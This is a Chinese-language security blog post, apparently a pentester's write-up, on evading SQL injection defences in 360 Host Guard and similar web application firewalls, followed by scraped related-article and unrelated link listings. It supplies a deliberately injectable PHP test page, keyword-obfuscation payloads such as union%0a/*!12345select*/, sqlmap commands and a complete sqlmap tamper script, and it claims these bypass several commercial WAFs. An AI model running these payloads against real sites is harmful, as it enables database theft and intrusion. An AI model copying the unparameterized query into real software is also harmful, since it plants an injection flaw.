0x01 前言

  在测试过程中,经常会遇到一些主机防护软件,对这方面做了一些尝试,可成功bypass了GET和POST的注入防御,分享一下姿势。

0x02 环境搭建

Windows Server 2003+phpStudy

sql注入点测试代码:

sql.php

<?php
$con = mysql_connect("localhost","root","root");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db("test", $con);
$id = $_REQUEST[ 'id' ];
$query = "SELECT * FROM admin WHERE username = $id ";
$result = mysql_query($query);
while($row = mysql_fetch_array($result))
{
echo $row[''] . " " . $row[''];
echo "<br />";
}
echo "<br/>";
echo $query;
mysql_close($con);
?>

运行效果:

0x03 Bypass 过程

  对不同waf做了一些尝试,关于SQL注入bypass,可以考虑划分为3种:

    1、完全bypass(union select+select from)

    2、部分bypass(union select 或select from)

    3、获取一些敏感信息(如version()、database()等)

A、Union+select

先考虑如何绕过union+select,可以考虑一下几种形式

    1、最常见形式 %20、+、/**/

    2、Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0

    3、内联注释   /!12345select/

通过组合测试,可以发现 union%0a/*!12345select*/ 1,2 可以绕过防御。

B、select+from

  select+from 也可以通过同样的组合形式绕过防御。

  至此已完全绕过union+select+from。

0x04 自动化注入

编写tamper bypass脚本,来利用sqlmap来跑数据

先看一下原始sqlmap的效果:

sqlmap.py -u  http://192.168.106.130/config/sql.php?id=1  --flush-session --dbs   失败

加载tamper脚本,可成功获取数据。

sqlmap.py -u http://192.168.106.130/config/sql.php?id=1 --flush-session  --technique=U --tamper="360safe.py" --dbs

tamper脚本:

#!/usr/bin/env python

"""
write by Aaron
"""
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces keywords
>>> tamper('UNION SELECT id FROM users')
'union%0a/*!12345select*/id%0a/*!12345from*/users'
"""
if payload:
payload=payload.replace(" ALL SELECT ","%0a/*!12345select*/")
payload=payload.replace("UNION SELECT","union%0a/*!12345select*/")
payload=payload.replace(" FROM ","%0a/*!12345from*/")
payload=payload.replace("CONCAT","CONCAT%23%0a")
payload=payload.replace("CASE ","CASE%23%0a")
payload=payload.replace("CAST(","/*!12345CASt(*/")
payload=payload.replace("DATABASE()","database%0a()") return payload

这边主要是针对union select查询进行的关键字替换,测试过程中,可以发现利用tamper脚本来bypass的弊端,sqlmap的部分payload是固定的,部分关键字会被waf拦截,需要一步步调试,总结,测试哪些关键字是被拦截的,如何绕过关键字的检测等,还是挺麻烦。

0x05 END

  最好的自动化注入工具:可以考虑自己编写一个自动化注入工具,灵活的自定义payload来获取数据库信息。

  目前的测试成果,可成功bypass注入防御,如 安全狗、云锁、360主机卫士、D盾_IIS防火墙等主机防护软件及各种云waf,有些姿势都在用。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

Bypass 360主机卫士SQL注入防御(附tamper脚本)的更多相关文章

  1. Bypass 360主机卫士SQL注入防御(多姿势)

    0x00 前言 在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影.从半年前的测试虚拟机里面,翻出了360主机卫士Apache版 ...

  2. 15. Bypass 360主机卫士SQL注入防御(多姿势)

    在服务器客户端领域,曾经出现过一款 360 主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影. 从半年前的测试虚拟机里面,翻出了 360 主机卫士 Apache 版的 ...

  3. 360网站卫士SQL注入绕过案例一个

    不要以为用了360就可以高枕无忧,直接在netcraft的site_report中找到源站服务器IP,直接SQL脱裤,甚至可获取服务器权限. 存在漏洞的网站: 手工测试存在注入点: 但是网站有360保 ...

  4. Bypass ngx_lua_waf SQL注入防御(多姿势)

    0x00 前言 ​ ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+ ...

  5. 23. Bypass ngx_lua_waf SQL注入防御(多姿势)

    0x00 前言 ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+(f ...

  6. Bypass D盾_IIS防火墙SQL注入防御(多姿势)

    0X01 前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况.D盾_IIS防火墙注入防御策略 ...

  7. Bypass 护卫神SQL注入防御(多姿势)

    0x00 前言 ​ 护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能. 这边主要分享一下几种思路,Bypa ...

  8. Bypass X-WAF SQL注入防御(多姿势)

    0x00 前言 ​ X-WAF是一款适用中.小企业的云WAF系统,让中.小企业也可以非常方便地拥有自己的免费云WAF. ​ 本文从代码出发,一步步理解WAF的工作原理,多姿势进行WAF Bypass. ...

  9. 22. Bypass X-WAF SQL注入防御(多姿势)

    0x00 前言 X-WAF是一款适用中.小企业的云WAF系统,让中.小企业也可以非常方便地拥有自己的免费云WAF. 本文从代码出发,一步步理解WAF的工作原理,多姿势进行WAF Bypass. 0x0 ...

随机推荐

  1. CSS BFC(格式化上下文)深入理解

    什么是BFC 在解释BFC之前,先说一下文档流.我们常说的文档流其实分为定位流.浮动流和普通流三种.而普通流其实就是指BFC中的FC.FC是formatting context的首字母缩写,直译过来是 ...

  2. win10下maven的安装与配置

    下载apache-maven-3.5.3-bin.zip并解压: 环境配置: 系统环境:添加=>MAVEN_HOME 值为apache-maven-3.5.3的路径(D:\xxx\apache- ...

  3. 忘记mysql的登陆密码该怎么办?

    1.如果忘记了其他用户的密码,可以使用root账户进入mysql,修改mysql.user表中的用户密码 2.如果忘记了root的mysql密码,可以使用如下方式: 确认服务器处于安全的状态,也就是没 ...

  4. bootstrap的tree控件

    地址:http://runjs.cn/detail/xtte94ls http://runjs.cn/code/xtte94ls

  5. PHP中的排序函数sort、asort、rsort、krsort、ksort区别分析

    sort() 函数用于对数组单元从低到高进行排序. rsort() 函数用于对数组单元从高到低进行排序. asort() 函数用于对数组单元从低到高进行排序并保持索引关系. arsort() 函数用于 ...

  6. tengine2.2.3报错502的The proxy server received an invalid response from an upstream server问题处理

    tengine2.2.3报错502的The proxy server received an invalid response from an upstream server问题处理 现象:访问订单的 ...

  7. Python--抽象类接口类

    一. 继承有两种用途: """ 一:继承基类的方法,并且做出自己的改变或者扩展(代码重用) 二:声明某个子类兼容于某基类,定义一个接口类Interface,接口类中定义了 ...

  8. C语言学习及应用笔记之七:C语言中的回调函数及使用方式

    我们在使用C语言实现相对复杂的软件开发时,经常会碰到使用回调函数的问题.但是回调函数的理解和使用却不是一件简单的事,在本篇我们根据我们个人的理解和应用经验对回调函数做简要的分析. 1.什么是回调函数 ...

  9. Xcode注释快捷键和Alfred 快捷键冲突解决方案

    在Alfred 中的Features -> File Search ->Navigation ->Previous Path 中的快捷方式改掉就可以了

  10. hdu3652 数位dp记忆化搜索

    从未见过的船新版本数位dp,,省去了预处理过程,直接进行计算 #include<bits/stdc++.h> using namespace std; #define ll long lo ...